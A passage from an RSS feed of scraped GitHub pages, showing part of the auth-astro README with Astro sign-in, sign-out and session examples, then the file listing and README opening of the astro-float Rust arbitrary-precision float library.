&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/server-side-rendering/&quot;&gt;SSR&lt;/a&gt; enabled in your Astro project&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Resources:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/server-side-rendering/#enabling-ssr-in-your-project&quot;&gt;Enabling SSR in Your Project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/server-side-rendering/#adding-an-adapter&quot;&gt;Adding an Adapter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h1&gt;Usage&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;Your authentication endpoints now live under &lt;code&gt;[origin]/api/auth/[operation]&lt;/code&gt;. You can change the prefix in the configuration.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Accessing your configuration&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;In case you need to access your auth configuration, you can always import it by&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;import&lt;/span&gt; &lt;span&gt;authConfig&lt;/span&gt; &lt;span&gt;from&lt;/span&gt; &lt;span&gt;&amp;#39;auth:config&amp;#39;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Sign in &amp;amp; Sign out&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Astro Auth exposes two ways to sign in and out. Inline scripts and Astro Components.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;With Inline script tags&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;signIn&lt;/code&gt; and &lt;code&gt;signOut&lt;/code&gt; methods can be imported dynamically in an inline script.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;---
---
&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;body&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
  &lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;button&lt;/span&gt; &lt;span&gt;id&lt;/span&gt;=&amp;quot;&lt;span&gt;login&lt;/span&gt;&amp;quot;&lt;span&gt;&amp;gt;&lt;/span&gt;Login&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;button&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
  &lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;button&lt;/span&gt; &lt;span&gt;id&lt;/span&gt;=&amp;quot;&lt;span&gt;logout&lt;/span&gt;&amp;quot;&lt;span&gt;&amp;gt;&lt;/span&gt;Logout&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;button&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;

  &lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;script&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
    &lt;span&gt;const&lt;/span&gt; &lt;span&gt;{&lt;/span&gt; signIn&lt;span&gt;,&lt;/span&gt; signOut &lt;span&gt;}&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;await&lt;/span&gt; &lt;span&gt;import&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;quot;auth-astro/client&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;
    &lt;span&gt;document&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;querySelector&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;quot;#login&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;onclick&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;=&amp;gt;&lt;/span&gt; &lt;span&gt;signIn&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;quot;github&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;
    &lt;span&gt;document&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;querySelector&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;quot;#logout&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;onclick&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;=&amp;gt;&lt;/span&gt; &lt;span&gt;signOut&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;
  &lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;script&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;body&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;With auth-astro&amp;#39;s Components&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Alternatively, you can use the &lt;code&gt;SignIn&lt;/code&gt; and &lt;code&gt;SignOut&lt;/code&gt; button components provided by &lt;code&gt;auth-astro/components&lt;/code&gt; importing them into your Astro &lt;a href=&quot;https://docs.astro.build/en/core-concepts/astro-components/#the-component-script&quot;&gt;component&amp;#39;s script&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Fetching the session&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;You can fetch the session in one of two ways. The &lt;code&gt;getSession&lt;/code&gt; method can be used in the component script section to fetch the session.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Within the component script section&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;Within the Auth component&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Alternatively, you can use the &lt;code&gt;Auth&lt;/code&gt; component to fetch the session using a render prop.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;type&lt;/span&gt; &lt;span&gt;{&lt;/span&gt; Session &lt;span&gt;}&lt;/span&gt; &lt;span&gt;from&lt;/span&gt; &lt;span&gt;&amp;#39;@auth/core/types&amp;#39;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;{&lt;/span&gt; &lt;span&gt;Auth&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;SignIn&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;SignOut&lt;/span&gt; &lt;span&gt;}&lt;/span&gt; &lt;span&gt;from&lt;/span&gt; &lt;span&gt;&amp;#39;auth-astro/components&amp;#39;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;--&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;
&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;Auth&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
  &lt;span&gt;{&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;session&lt;/span&gt;: &lt;span&gt;Session&lt;/span&gt;&lt;span&gt;)&lt;/span&gt; &lt;span&gt;=&amp;gt;&lt;/span&gt; 
    &lt;span&gt;{&lt;/span&gt;&lt;span&gt;session&lt;/span&gt; ? 
      &lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SignOut&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;Logout&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;SignOut&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
    :
      &lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SignIn&lt;/span&gt; &lt;span&gt;provider&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;github&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;Login&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;SignIn&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
    &lt;span&gt;}&lt;/span&gt;

    &lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
      &lt;span&gt;{&lt;/span&gt;&lt;span&gt;session&lt;/span&gt; ? &lt;span&gt;`Logged in as &lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;session&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt;?.&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;`&lt;/span&gt; : &amp;#39;&lt;span&gt;Not&lt;/span&gt; &lt;span&gt;logged&lt;/span&gt; &lt;span&gt;in&lt;/span&gt;&amp;#39;}
    &amp;lt;/&lt;span&gt;p&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;
  &lt;span&gt;}&lt;/span&gt;
&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;Auth&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h1&gt;State of Project&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;We currently are waiting for the &lt;a href=&quot;https://github.com/nextauthjs/next-auth/pull/9856&quot;&gt;PR&lt;/a&gt; in the official &lt;a href=&quot;https://github.com/nextauthjs/next-auth/&quot;&gt;next-auth&lt;/a&gt; repository to be merged. Once this has happened, this package will be deprecated.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Contribution&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;Waiting on the PR to be merged means, we can still add new features to the PR, so, if you miss anything feel free to open a PR or issue in this repo, and we will try to get it added to the official package.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>GitHub - stencillogic/astro-float: Arbitrary precision floating point numbers library · GitHub</title>
<link>https://github.com/stencillogic/astro-float</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/ef7a42deee639577040e3a252f89e5033ef6bf226bec8c5821c2369ff24336b5/stencillogic/astro-float"></enclosure>
<guid isPermaLink="false">k2yrU6c_MD-Ij46U-tPsI74p7kCmv-9oIBLx3Q==</guid>
<pubDate>Sat, 06 Jun 2026 05:32:07 +0000</pubDate>
<description>Arbitrary precision floating point numbers library - stencillogic/astro-float</description>
<content:encoded>&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/branches&quot;&gt;&lt;span&gt;&lt;span&gt;Branches&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tags&quot;&gt;&lt;span&gt;&lt;span&gt;Tags&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/branches&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tags&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;Open more actions menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;Folders and files&lt;/h2&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;&lt;span&gt;Name&lt;/span&gt;&lt;/th&gt;&lt;th colspan=&quot;1&quot;&gt;&lt;span&gt;Name&lt;/span&gt;&lt;/th&gt;&lt;th&gt;&lt;div&gt;&lt;span&gt;Last commit message&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;th colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;span&gt;Last commit date&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan=&quot;3&quot;&gt;&lt;div&gt;&lt;h2&gt;Latest commit&lt;/h2&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;History&lt;/h2&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/commits/main/&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;562 Commits&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/commits/main/&quot;&gt;&lt;/a&gt;&lt;span&gt;562 Commits&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/.github/workflows&quot;&gt;&lt;span&gt;.github/&lt;/span&gt;&lt;span&gt;workflows&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/.github/workflows&quot;&gt;&lt;span&gt;.github/&lt;/span&gt;&lt;span&gt;workflows&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/astro-float-macro&quot;&gt;astro-float-macro&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/astro-float-macro&quot;&gt;astro-float-macro&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/astro-float-num&quot;&gt;astro-float-num&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/astro-float-num&quot;&gt;astro-float-num&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/doc&quot;&gt;doc&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/doc&quot;&gt;doc&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/src&quot;&gt;src&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/src&quot;&gt;src&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/tests&quot;&gt;tests&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/tree/main/tests&quot;&gt;tests&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/.gitignore&quot;&gt;.gitignore&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/.gitignore&quot;&gt;.gitignore&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/.rusty-hook.toml&quot;&gt;.rusty-hook.toml&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/.rusty-hook.toml&quot;&gt;.rusty-hook.toml&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/CONTRIBUTING.md&quot;&gt;CONTRIBUTING.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/CONTRIBUTING.md&quot;&gt;CONTRIBUTING.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/Cargo.toml&quot;&gt;Cargo.toml&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/Cargo.toml&quot;&gt;Cargo.toml&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/LICENSE&quot;&gt;LICENSE&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/LICENSE&quot;&gt;LICENSE&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/README.md&quot;&gt;README.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/README.md&quot;&gt;README.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/RELEASE_NOTES.md&quot;&gt;RELEASE_NOTES.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/RELEASE_NOTES.md&quot;&gt;RELEASE_NOTES.md&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/rustfmt.toml&quot;&gt;rustfmt.toml&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/rustfmt.toml&quot;&gt;rustfmt.toml&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;3&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;Repository files navigation&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;&lt;article&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/stencillogic/astro-float/workflows/Rust/badge.svg&quot;&gt;&lt;img src=&quot;https://github.com/stencillogic/astro-float/workflows/Rust/badge.svg&quot; alt=&quot;Rust&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://camo.githubusercontent.com/bd89f9bcfcbaf1993563e84e9420916229c315bc9f32d0dd764af5f1854563bb/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f72757374632d312e36322e312b2d626c75652e737667&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/bd89f9bcfcbaf1993563e84e9420916229c315bc9f32d0dd764af5f1854563bb/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f72757374632d312e36322e312b2d626c75652e737667&quot; alt=&quot;Minimum rustc version&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://camo.githubusercontent.com/7218ed87b162d5d84602ca4a5a3bf81d9692b5c87f12619631f3bd2c66e5586a/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f636f7665726167652d38372e30352532352d626c75652e737667&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/7218ed87b162d5d84602ca4a5a3bf81d9692b5c87f12619631f3bd2c66e5586a/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f636f7665726167652d38372e30352532352d626c75652e737667&quot; alt=&quot;Test coverage&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Astro-float (astronomically large floating-point numbers) is an arbitrary precision floating-point numbers library designed for performance, portability, and implemented purely in Rust.&lt;/p&gt;
&lt;p&gt;The library implements the basic operations and functions. It uses classical algorithms such as Karatsuba, Toom-Cook, Schönhage-Strassen algorithm, and others.&lt;/p&gt;
&lt;p&gt;The library can work without the standard library provided there is a memory allocator.&lt;/p&gt;
&lt;div&gt;&lt;h2&gt;What&amp;#39;s new&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;Information about the latest changes is available in &lt;a href=&quot;https://github.com/stencillogic/astro-float/blob/main/RELEASE_NOTES.md&quot;&gt;Release notes&lt;/a&gt;&lt;/p&gt;
&lt;div&gt;&lt;h2&gt;Usage&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;Below is an example of using the library.
For more information please refer to the library documentation: &lt;a href=&quot;https://docs.rs/astro-float/latest/astro_float/&quot;&gt;https://docs.rs/astro-float/latest/astro_float/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Calculate Pi with 1024 bit precision rounded to the nearest even number.&lt;/p&gt;
&lt;div&gt;&lt;pre&gt;&lt;span&gt;use&lt;/span&gt; astro_float&lt;span&gt;::&lt;/span&gt;&lt;span&gt;Consts&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;use&lt;/span&gt; astro_float&lt;span&gt;::&lt;/span&gt;&lt;span&gt;RoundingMode&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
